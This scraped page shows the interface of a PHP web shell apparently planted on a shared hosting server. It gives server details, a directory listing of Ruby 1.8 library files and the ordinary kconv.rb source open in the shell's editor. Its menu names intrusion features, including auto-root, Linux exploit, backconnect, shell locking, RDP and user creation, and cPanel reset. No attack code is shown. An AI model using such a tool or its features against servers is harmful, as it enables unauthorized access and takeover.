Linux server257.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 185.61.153.106 | : 216.73.216.37
Cant Read [ /etc/named.conf ]
8.1.33
safeqmlm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby18 /
lib64 /
ruby /
1.8 /
[ HOME SHELL ]
Name
Size
Permission
Action
bigdecimal
[ DIR ]
drwxr-xr-x
cgi
[ DIR ]
drwxr-xr-x
date
[ DIR ]
drwxr-xr-x
digest
[ DIR ]
drwxr-xr-x
dl
[ DIR ]
drwxr-xr-x
drb
[ DIR ]
drwxr-xr-x
io
[ DIR ]
drwxr-xr-x
irb
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
racc
[ DIR ]
drwxr-xr-x
rdoc
[ DIR ]
drwxr-xr-x
rexml
[ DIR ]
drwxr-xr-x
rinda
[ DIR ]
drwxr-xr-x
rss
[ DIR ]
drwxr-xr-x
runit
[ DIR ]
drwxr-xr-x
shell
[ DIR ]
drwxr-xr-x
soap
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
uri
[ DIR ]
drwxr-xr-x
webrick
[ DIR ]
drwxr-xr-x
wsdl
[ DIR ]
drwxr-xr-x
x86_64-linux
[ DIR ]
drwxr-xr-x
xmlrpc
[ DIR ]
drwxr-xr-x
xsd
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
English.rb
5.6
KB
-rw-r--r--
Env.rb
274
B
-rw-r--r--
abbrev.rb
2.5
KB
-rw-r--r--
base64.rb
3.37
KB
-rw-r--r--
benchmark.rb
17.73
KB
-rw-r--r--
cgi-lib.rb
6.89
KB
-rw-r--r--
cgi.rb
73.74
KB
-rw-r--r--
complex.rb
12.84
KB
-rw-r--r--
csv.rb
24.46
KB
-rw-r--r--
date.rb
53.02
KB
-rw-r--r--
date2.rb
128
B
-rw-r--r--
debug.rb
20.61
KB
-rw-r--r--
delegate.rb
8.81
KB
-rw-r--r--
digest.rb
1.12
KB
-rw-r--r--
drb.rb
19
B
-rw-r--r--
e2mmap.rb
4.04
KB
-rw-r--r--
erb.rb
21.38
KB
-rw-r--r--
eregex.rb
487
B
-rw-r--r--
expect.rb
633
B
-rw-r--r--
fileutils.rb
42.23
KB
-rw-r--r--
finalize.rb
5.38
KB
-rw-r--r--
find.rb
1.84
KB
-rw-r--r--
forwardable.rb
6.16
KB
-rw-r--r--
ftools.rb
6.17
KB
-rw-r--r--
generator.rb
8.1
KB
-rw-r--r--
getoptlong.rb
14.88
KB
-rw-r--r--
getopts.rb
2.25
KB
-rw-r--r--
gserver.rb
6.43
KB
-rw-r--r--
importenv.rb
590
B
-rw-r--r--
ipaddr.rb
21.96
KB
-rw-r--r--
irb.rb
7.43
KB
-rw-r--r--
jcode.rb
4.3
KB
-rw-r--r--
kconv.rb
8.12
KB
-rw-r--r--
logger.rb
17.59
KB
-rw-r--r--
mailread.rb
1.28
KB
-rw-r--r--
mathn.rb
5.42
KB
-rw-r--r--
matrix.rb
27.21
KB
-rw-r--r--
md5.rb
411
B
-rw-r--r--
mkmf.rb
50.65
KB
-rw-r--r--
monitor.rb
7.93
KB
-rw-r--r--
mutex_m.rb
2.07
KB
-rw-r--r--
observer.rb
5.15
KB
-rw-r--r--
open-uri.rb
20.49
KB
-rw-r--r--
open3.rb
2.1
KB
-rw-r--r--
openssl.rb
575
B
-rw-r--r--
optparse.rb
47.12
KB
-rw-r--r--
ostruct.rb
3.35
KB
-rw-r--r--
parsearg.rb
1.55
KB
-rw-r--r--
parsedate.rb
1.33
KB
-rw-r--r--
pathname.rb
29.39
KB
-rw-r--r--
ping.rb
1.48
KB
-rw-r--r--
pp.rb
15.97
KB
-rw-r--r--
prettyprint.rb
18.33
KB
-rw-r--r--
profile.rb
90
B
-rw-r--r--
profiler.rb
1.59
KB
-rw-r--r--
pstore.rb
11.15
KB
-rw-r--r--
rational.rb
12.05
KB
-rw-r--r--
readbytes.rb
835
B
-rw-r--r--
resolv-replace.rb
1.55
KB
-rw-r--r--
resolv.rb
56.83
KB
-rw-r--r--
rss.rb
504
B
-rw-r--r--
rubyunit.rb
180
B
-rw-r--r--
scanf.rb
20.63
KB
-rw-r--r--
securerandom.rb
4.27
KB
-rw-r--r--
set.rb
27.08
KB
-rw-r--r--
sha1.rb
418
B
-rw-r--r--
shell.rb
4.66
KB
-rw-r--r--
shellwords.rb
3.99
KB
-rw-r--r--
singleton.rb
8.08
KB
-rw-r--r--
sync.rb
6.09
KB
-rw-r--r--
tempfile.rb
4.86
KB
-rw-r--r--
thread.rb
104
B
-rw-r--r--
thwait.rb
4.32
KB
-rw-r--r--
time.rb
31.58
KB
-rw-r--r--
timeout.rb
3
KB
-rw-r--r--
tmpdir.rb
3.69
KB
-rw-r--r--
tracer.rb
2.73
KB
-rw-r--r--
tsort.rb
7.99
KB
-rw-r--r--
un.rb
4.54
KB
-rw-r--r--
uri.rb
710
B
-rw-r--r--
weakref.rb
2.68
KB
-rw-r--r--
webrick.rb
811
B
-rw-r--r--
yaml.rb
12.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : kconv.rb
# # kconv.rb - Kanji Converter. # # $Id: kconv.rb 11708 2007-02-12 23:01:19Z shyouhei $ # # ---- # # kconv.rb implements the Kconv class for Kanji Converter. Additionally, # some methods in String classes are added to allow easy conversion. # require 'nkf' # # Kanji Converter for Ruby. # module Kconv # # Public Constants # #Constant of Encoding # Auto-Detect AUTO = NKF::AUTO # ISO-2022-JP JIS = NKF::JIS # EUC-JP EUC = NKF::EUC # Shift_JIS SJIS = NKF::SJIS # BINARY BINARY = NKF::BINARY # NOCONV NOCONV = NKF::NOCONV # ASCII ASCII = NKF::ASCII # UTF-8 UTF8 = NKF::UTF8 # UTF-16 UTF16 = NKF::UTF16 # UTF-32 UTF32 = NKF::UTF32 # UNKNOWN UNKNOWN = NKF::UNKNOWN # # Private Constants # # Revision of kconv.rb REVISION = %q$Revision: 11708 $ #Regexp of Encoding # Regexp of Shift_JIS string (private constant) RegexpShiftjis = /\A(?: [\x00-\x7f\xa1-\xdf] | [\x81-\x9f\xe0-\xfc][\x40-\x7e\x80-\xfc] )*\z/nx # Regexp of EUC-JP string (private constant) RegexpEucjp = /\A(?: [\x00-\x7f] | \x8e [\xa1-\xdf] | \x8f [\xa1-\xfe] [\xa1-\xfe] | [\xa1-\xfe] [\xa1-\xfe] )*\z/nx # Regexp of UTF-8 string (private constant) RegexpUtf8 = /\A(?: [\x00-\x7f] | [\xc2-\xdf] [\x80-\xbf] | \xe0 [\xa0-\xbf] [\x80-\xbf] | [\xe1-\xef] [\x80-\xbf] [\x80-\xbf] | \xf0 [\x90-\xbf] [\x80-\xbf] [\x80-\xbf] | [\xf1-\xf3] [\x80-\xbf] [\x80-\xbf] [\x80-\xbf] | \xf4 [\x80-\x8f] [\x80-\xbf] [\x80-\xbf] )*\z/nx # # Public Methods # # call-seq: # Kconv.kconv(str, out_code, in_code = Kconv::AUTO) # # Convert <code>str</code> to out_code. # <code>out_code</code> and <code>in_code</code> are given as constants of Kconv. # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want to decode them, use NKF.nkf. def kconv(str, out_code, in_code = AUTO) opt = '-' case in_code when ::NKF::JIS opt << 'J' when ::NKF::EUC opt << 'E' when ::NKF::SJIS opt << 'S' when ::NKF::UTF8 opt << 'W' when ::NKF::UTF16 opt << 'W16' end case out_code when ::NKF::JIS opt << 'j' when ::NKF::EUC opt << 'e' when ::NKF::SJIS opt << 's' when ::NKF::UTF8 opt << 'w' when ::NKF::UTF16 opt << 'w16' when ::NKF::NOCONV return str end opt = '' if opt == '-' ::NKF::nkf(opt, str) end module_function :kconv # # Encode to # # call-seq: # Kconv.tojis(str) -> string # # Convert <code>str</code> to ISO-2022-JP # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want it, use NKF.nkf('-jxm0', str). def tojis(str) ::NKF::nkf('-jm', str) end module_function :tojis # call-seq: # Kconv.toeuc(str) -> string # # Convert <code>str</code> to EUC-JP # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want it, use NKF.nkf('-exm0', str). def toeuc(str) ::NKF::nkf('-em', str) end module_function :toeuc # call-seq: # Kconv.tosjis(str) -> string # # Convert <code>str</code> to Shift_JIS # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want it, use NKF.nkf('-sxm0', str). def tosjis(str) ::NKF::nkf('-sm', str) end module_function :tosjis # call-seq: # Kconv.toutf8(str) -> string # # Convert <code>str</code> to UTF-8 # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want it, use NKF.nkf('-wxm0', str). def toutf8(str) ::NKF::nkf('-wm', str) end module_function :toutf8 # call-seq: # Kconv.toutf16(str) -> string # # Convert <code>str</code> to UTF-16 # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want it, use NKF.nkf('-w16xm0', str). def toutf16(str) ::NKF::nkf('-w16m', str) end module_function :toutf16 # # guess # # call-seq: # Kconv.guess(str) -> integer # # Guess input encoding by NKF.guess2 def guess(str) ::NKF::guess(str) end module_function :guess # call-seq: # Kconv.guess_old(str) -> integer # # Guess input encoding by NKF.guess1 def guess_old(str) ::NKF::guess1(str) end module_function :guess_old # # isEncoding # # call-seq: # Kconv.iseuc(str) -> obj or nil # # Returns whether input encoding is EUC-JP or not. # # *Note* don't expect this return value is MatchData. def iseuc(str) RegexpEucjp.match( str ) end module_function :iseuc # call-seq: # Kconv.issjis(str) -> obj or nil # # Returns whether input encoding is Shift_JIS or not. # # *Note* don't expect this return value is MatchData. def issjis(str) RegexpShiftjis.match( str ) end module_function :issjis # call-seq: # Kconv.isutf8(str) -> obj or nil # # Returns whether input encoding is UTF-8 or not. # # *Note* don't expect this return value is MatchData. def isutf8(str) RegexpUtf8.match( str ) end module_function :isutf8 end class String # call-seq: # String#kconv(out_code, in_code = Kconv::AUTO) # # Convert <code>self</code> to out_code. # <code>out_code</code> and <code>in_code</code> are given as constants of Kconv. # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want to decode them, use NKF.nkf. def kconv(out_code, in_code=Kconv::AUTO) Kconv::kconv(self, out_code, in_code) end # # to Encoding # # call-seq: # String#tojis -> string # # Convert <code>self</code> to ISO-2022-JP # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want it, use NKF.nkf('-jxm0', str). def tojis; Kconv.tojis(self) end # call-seq: # String#toeuc -> string # # Convert <code>self</code> to EUC-JP # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want it, use NKF.nkf('-exm0', str). def toeuc; Kconv.toeuc(self) end # call-seq: # String#tosjis -> string # # Convert <code>self</code> to Shift_JIS # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want it, use NKF.nkf('-sxm0', str). def tosjis; Kconv.tosjis(self) end # call-seq: # String#toutf8 -> string # # Convert <code>self</code> to UTF-8 # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want it, use NKF.nkf('-wxm0', str). def toutf8; Kconv.toutf8(self) end # call-seq: # String#toutf16 -> string # # Convert <code>self</code> to UTF-16 # # *Note* # This method decode MIME encoded string and # convert halfwidth katakana to fullwidth katakana. # If you don't want it, use NKF.nkf('-w16xm0', str). def toutf16; Kconv.toutf16(self) end # # is Encoding # # call-seq: # String#iseuc -> obj or nil # # Returns whether <code>self</code>'s encoding is EUC-JP or not. # # *Note* don't expect this return value is MatchData. def iseuc; Kconv.iseuc(self) end # call-seq: # String#issjis -> obj or nil # # Returns whether <code>self</code>'s encoding is Shift_JIS or not. # # *Note* don't expect this return value is MatchData. def issjis; Kconv.issjis(self) end # call-seq: # String#isutf8 -> obj or nil # # Returns whether <code>self</code>'s encoding is UTF-8 or not. # # *Note* don't expect this return value is MatchData. def isutf8; Kconv.isutf8(self) end end
Close